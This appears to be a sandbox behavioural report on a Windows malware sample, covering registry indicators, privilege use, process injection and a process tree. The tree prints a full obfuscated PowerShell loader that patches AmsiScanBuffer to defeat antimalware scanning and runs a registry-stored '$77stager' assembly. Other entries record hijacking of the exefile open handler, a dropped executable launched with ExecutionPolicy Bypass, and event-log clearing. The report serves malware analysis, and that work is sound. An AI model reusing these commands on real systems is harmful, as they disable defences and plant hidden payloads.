Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	koalde.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	WinUpdate.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	WINUPD~1.EXE
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	fhmdea.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	koalde.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	$77SVC~1.EXE
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	InstallUtil.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	pop3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	koalde.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2768	schtasks.exe
4380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe
856	powershell.exe
856	powershell.exe
1700	InstallUtil.exe
3664	powershell.EXE
3664	powershell.EXE
3664	powershell.EXE
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
1700	InstallUtil.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
1700	InstallUtil.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
1700	InstallUtil.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
2200	$77SVC~1.EXE
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
1700	InstallUtil.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe
Token: SeDebugPrivilege	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe
Token: SeDebugPrivilege	1700	InstallUtil.exe
Token: SeDebugPrivilege	856	powershell.exe
Token: SeDebugPrivilege	3664	powershell.EXE
Token: SeDebugPrivilege	3664	powershell.EXE
Token: SeDebugPrivilege	3156	dllhost.exe
Token: SeDebugPrivilege	2200	$77SVC~1.EXE
Token: SeShutdownPrivilege	3440	Explorer.EXE
Token: SeCreatePagefilePrivilege	3440	Explorer.EXE
Token: SeShutdownPrivilege	3440	Explorer.EXE
Token: SeCreatePagefilePrivilege	3440	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2340	svchost.exe
Token: SeIncreaseQuotaPrivilege	2340	svchost.exe
Token: SeSecurityPrivilege	2340	svchost.exe
Token: SeTakeOwnershipPrivilege	2340	svchost.exe
Token: SeLoadDriverPrivilege	2340	svchost.exe
Token: SeSystemtimePrivilege	2340	svchost.exe
Token: SeBackupPrivilege	2340	svchost.exe
Token: SeRestorePrivilege	2340	svchost.exe
Token: SeShutdownPrivilege	2340	svchost.exe
Token: SeSystemEnvironmentPrivilege	2340	svchost.exe
Token: SeUndockPrivilege	2340	svchost.exe
Token: SeManageVolumePrivilege	2340	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2340	svchost.exe
Token: SeIncreaseQuotaPrivilege	2340	svchost.exe
Token: SeSecurityPrivilege	2340	svchost.exe
Token: SeTakeOwnershipPrivilege	2340	svchost.exe
Token: SeLoadDriverPrivilege	2340	svchost.exe
Token: SeSystemtimePrivilege	2340	svchost.exe
Token: SeBackupPrivilege	2340	svchost.exe
Token: SeRestorePrivilege	2340	svchost.exe
Token: SeShutdownPrivilege	2340	svchost.exe
Token: SeSystemEnvironmentPrivilege	2340	svchost.exe
Token: SeUndockPrivilege	2340	svchost.exe
Token: SeManageVolumePrivilege	2340	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2340	svchost.exe
Token: SeIncreaseQuotaPrivilege	2340	svchost.exe
Token: SeSecurityPrivilege	2340	svchost.exe
Token: SeTakeOwnershipPrivilege	2340	svchost.exe
Token: SeLoadDriverPrivilege	2340	svchost.exe
Token: SeSystemtimePrivilege	2340	svchost.exe
Token: SeBackupPrivilege	2340	svchost.exe
Token: SeRestorePrivilege	2340	svchost.exe
Token: SeShutdownPrivilege	2340	svchost.exe
Token: SeSystemEnvironmentPrivilege	2340	svchost.exe
Token: SeUndockPrivilege	2340	svchost.exe
Token: SeManageVolumePrivilege	2340	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2340	svchost.exe
Token: SeIncreaseQuotaPrivilege	2340	svchost.exe
Token: SeSecurityPrivilege	2340	svchost.exe
Token: SeTakeOwnershipPrivilege	2340	svchost.exe
Token: SeLoadDriverPrivilege	2340	svchost.exe
Token: SeSystemtimePrivilege	2340	svchost.exe
Token: SeBackupPrivilege	2340	svchost.exe
Token: SeRestorePrivilege	2340	svchost.exe
Token: SeShutdownPrivilege	2340	svchost.exe
Token: SeSystemEnvironmentPrivilege	2340	svchost.exe
Token: SeUndockPrivilege	2340	svchost.exe
Token: SeManageVolumePrivilege	2340	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2340	svchost.exe
Token: SeIncreaseQuotaPrivilege	2340	svchost.exe
Token: SeSecurityPrivilege	2340	svchost.exe
Token: SeTakeOwnershipPrivilege	2340	svchost.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
3908	RuntimeBroker.exe
3440	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3620 wrote to memory of 836	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	88
PID 3620 wrote to memory of 836	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	88
PID 3620 wrote to memory of 836	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	88
PID 836 wrote to memory of 3064	836	cmd.exe	90
PID 836 wrote to memory of 3064	836	cmd.exe	90
PID 836 wrote to memory of 3064	836	cmd.exe	90
PID 3620 wrote to memory of 3104	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	93
PID 3620 wrote to memory of 3104	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	93
PID 3620 wrote to memory of 3104	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	93
PID 3620 wrote to memory of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3620 wrote to memory of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3620 wrote to memory of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3620 wrote to memory of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3620 wrote to memory of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3620 wrote to memory of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3620 wrote to memory of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3620 wrote to memory of 1700	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	94
PID 3620 wrote to memory of 1964	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	95
PID 3620 wrote to memory of 1964	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	95
PID 3620 wrote to memory of 1964	3620	7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe	95
PID 1964 wrote to memory of 900	1964	cmd.exe	97
PID 1964 wrote to memory of 900	1964	cmd.exe	97
PID 1964 wrote to memory of 900	1964	cmd.exe	97
PID 1700 wrote to memory of 1368	1700	InstallUtil.exe	99
PID 1700 wrote to memory of 1368	1700	InstallUtil.exe	99
PID 1700 wrote to memory of 1368	1700	InstallUtil.exe	99
PID 1368 wrote to memory of 856	1368	cmd.exe	101
PID 1368 wrote to memory of 856	1368	cmd.exe	101
PID 1368 wrote to memory of 856	1368	cmd.exe	101
PID 856 wrote to memory of 1036	856	powershell.exe	102
PID 856 wrote to memory of 1036	856	powershell.exe	102
PID 856 wrote to memory of 1036	856	powershell.exe	102
PID 1036 wrote to memory of 4656	1036	koalde.exe	103
PID 1036 wrote to memory of 4656	1036	koalde.exe	103
PID 1036 wrote to memory of 4656	1036	koalde.exe	103
PID 4656 wrote to memory of 4544	4656	koalde.exe	104
PID 4656 wrote to memory of 4544	4656	koalde.exe	104
PID 4656 wrote to memory of 4544	4656	koalde.exe	104
PID 4656 wrote to memory of 3800	4656	koalde.exe	105
PID 4656 wrote to memory of 3800	4656	koalde.exe	105
PID 4656 wrote to memory of 3800	4656	koalde.exe	105
PID 3800 wrote to memory of 2200	3800	svchost.com	106
PID 3800 wrote to memory of 2200	3800	svchost.com	106
PID 3800 wrote to memory of 2200	3800	svchost.com	106
PID 3664 wrote to memory of 3156	3664	powershell.EXE	109
PID 3664 wrote to memory of 3156	3664	powershell.EXE	109
PID 3664 wrote to memory of 3156	3664	powershell.EXE	109
PID 3664 wrote to memory of 3156	3664	powershell.EXE	109
PID 3664 wrote to memory of 3156	3664	powershell.EXE	109
PID 3664 wrote to memory of 3156	3664	powershell.EXE	109
PID 3664 wrote to memory of 3156	3664	powershell.EXE	109
PID 3664 wrote to memory of 3156	3664	powershell.EXE	109
PID 3156 wrote to memory of 628	3156	dllhost.exe	5
PID 3156 wrote to memory of 692	3156	dllhost.exe	7
PID 3156 wrote to memory of 972	3156	dllhost.exe	12
PID 3156 wrote to memory of 388	3156	dllhost.exe	13
PID 3156 wrote to memory of 392	3156	dllhost.exe	14
PID 3156 wrote to memory of 748	3156	dllhost.exe	15
PID 3156 wrote to memory of 1040	3156	dllhost.exe	16
PID 3156 wrote to memory of 1048	3156	dllhost.exe	17
PID 3156 wrote to memory of 1200	3156	dllhost.exe	19
PID 3156 wrote to memory of 1208	3156	dllhost.exe	20
PID 3156 wrote to memory of 1276	3156	dllhost.exe	21
PID 3156 wrote to memory of 1324	3156	dllhost.exe	22

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:388
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f19ced4c-767b-4060-8571-4b1fad8b8acd}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3156

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1200
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:dfColQczwRnQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AoBXQJbguPRmrO,[Parameter(Position=1)][Type]$mqJJUhYdJn)$UAHDeEjwVNn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'fle'+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+'eg'+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+'mor'+'y'+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+'l'+'e'+''+'g'+'a'+[Char](116)+''+'e'+''+[Char](84)+''+'y'+'p'+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'led'+','+'A'+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+'s,'+[Char](65)+''+'u'+''+[Char](116)+''+'o'+'C'+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$UAHDeEjwVNn.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+'e'+'c'+'i'+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$AoBXQJbguPRmrO).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+'ag'+[Char](101)+'d');$UAHDeEjwVNn.DefineMethod(''+[Char](73)+''+'n'+''+'v'+'o'+[Char](107)+''+'e'+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g'+','+''+'N'+''+[Char](101)+''+'w'+'Sl'+'o'+''+[Char](116)+''+[Char](44)+'Vi'+'r'+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$mqJJUhYdJn,$AoBXQJbguPRmrO).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+','+'M'+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');Write-Output $UAHDeEjwVNn.CreateType();}$FzfgLGTbHhiPQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t.W'+[Char](105)+''+'n'+''+'3'+'2'+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+'s');$WtiBTBxQlMmpXo=$FzfgLGTbHhiPQ.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+'r'+''+'o'+''+[Char](99)+''+[Char](65)+'d'+'d'+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c'+','+''+'S'+'t'+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wlSqXTRKEqelsEnGQuy=dfColQczwRnQ @([String])([IntPtr]);$IhtwRoTncWUPcWmejygNED=dfColQczwRnQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PEbpkjhDUEf=$FzfgLGTbHhiPQ.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+'odu'+[Char](108)+''+[Char](101)+''+'H'+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+'n'+[Char](101)+'l'+'3'+''+[Char](50)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')));$CyRVplccpqCxac=$WtiBTBxQlMmpXo.Invoke($Null,@([Object]$PEbpkjhDUEf,[Object](''+'L'+''+[Char](111)+''+'a'+'d'+'L'+''+[Char](105)+''+[Char](98)+'rar'+[Char](121)+''+'A'+'')));$MGWMCztkjyglOUfph=$WtiBTBxQlMmpXo.Invoke($Null,@([Object]$PEbpkjhDUEf,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+'l'+'Pr'+[Char](111)+''+[Char](116)+'e'+'c'+'t')));$FXtvTrS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CyRVplccpqCxac,$wlSqXTRKEqelsEnGQuy).Invoke('a'+[Char](109)+''+'s'+'i'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$XqPNXMMfbuNnzdoVp=$WtiBTBxQlMmpXo.Invoke($Null,@([Object]$FXtvTrS,[Object](''+[Char](65)+'m'+'s'+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+[Char](110)+''+'B'+''+'u'+''+'f'+''+[Char](102)+''+[Char](101)+'r')));$ASdFKLGwpZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MGWMCztkjyglOUfph,$IhtwRoTncWUPcWmejygNED).Invoke($XqPNXMMfbuNnzdoVp,[uint32]8,4,[ref]$ASdFKLGwpZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XqPNXMMfbuNnzdoVp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MGWMCztkjyglOUfph,$IhtwRoTncWUPcWmejygNED).Invoke($XqPNXMMfbuNnzdoVp,[uint32]8,0x20,[ref]$ASdFKLGwpZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue('$'+[Char](55)+''+[Char](55)+''+'s'+''+[Char](116)+''+'a'+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1520
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1996

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2572

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2960

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3356

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3440
- C:\Users\Admin\AppData\Local\Temp\7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe
  "C:\Users\Admin\AppData\Local\Temp\7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3620
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /release
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:836
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /release
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:3064
- - C:\Users\Admin\AppData\Local\Temp\pop3.exe
    "C:\Users\Admin\AppData\Local\Temp\pop3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:3104
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\fhmdea.exe"' & exit
      4⤵
      Executes dropped EXE
